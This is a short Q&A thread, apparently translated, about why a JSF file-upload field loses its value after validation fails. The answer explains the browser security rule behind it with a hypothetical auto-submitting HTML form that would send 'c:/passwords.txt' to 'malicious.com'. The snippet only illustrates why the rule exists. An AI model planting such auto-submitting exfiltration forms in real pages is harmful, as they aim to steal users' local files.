JSF <t: inputFileUpload> lost after validation failure

I found that the path to the download file is lost after checking for the following code. Is there anyway I can save the value after verification fails? thank.

<t:inputFileUpload id="uploadFile" value="#{backBean.uploadFile}" storage="file" required="false" />
+3
source share
1 answer

It's impossible. This is an HTML security constraint. You cannot prefill / save the value of the HTML field <input type="file">. Since JSF only generates HTML, JSF cannot do this.

Imagine that this security restriction does not exist, websites will be able to do the following:

<form id="tryToGetPasswords" action="http://malicious.com" method="post" enctype="multipart/form-data">
    <input type="file" name="file" value="c:/passwords.txt" />
</form>
<script>document.getElementById('tryToGetPasswords').submit();</script>

You see?

+4
source

Source: https://habr.com/ru/post/1791553/


All Articles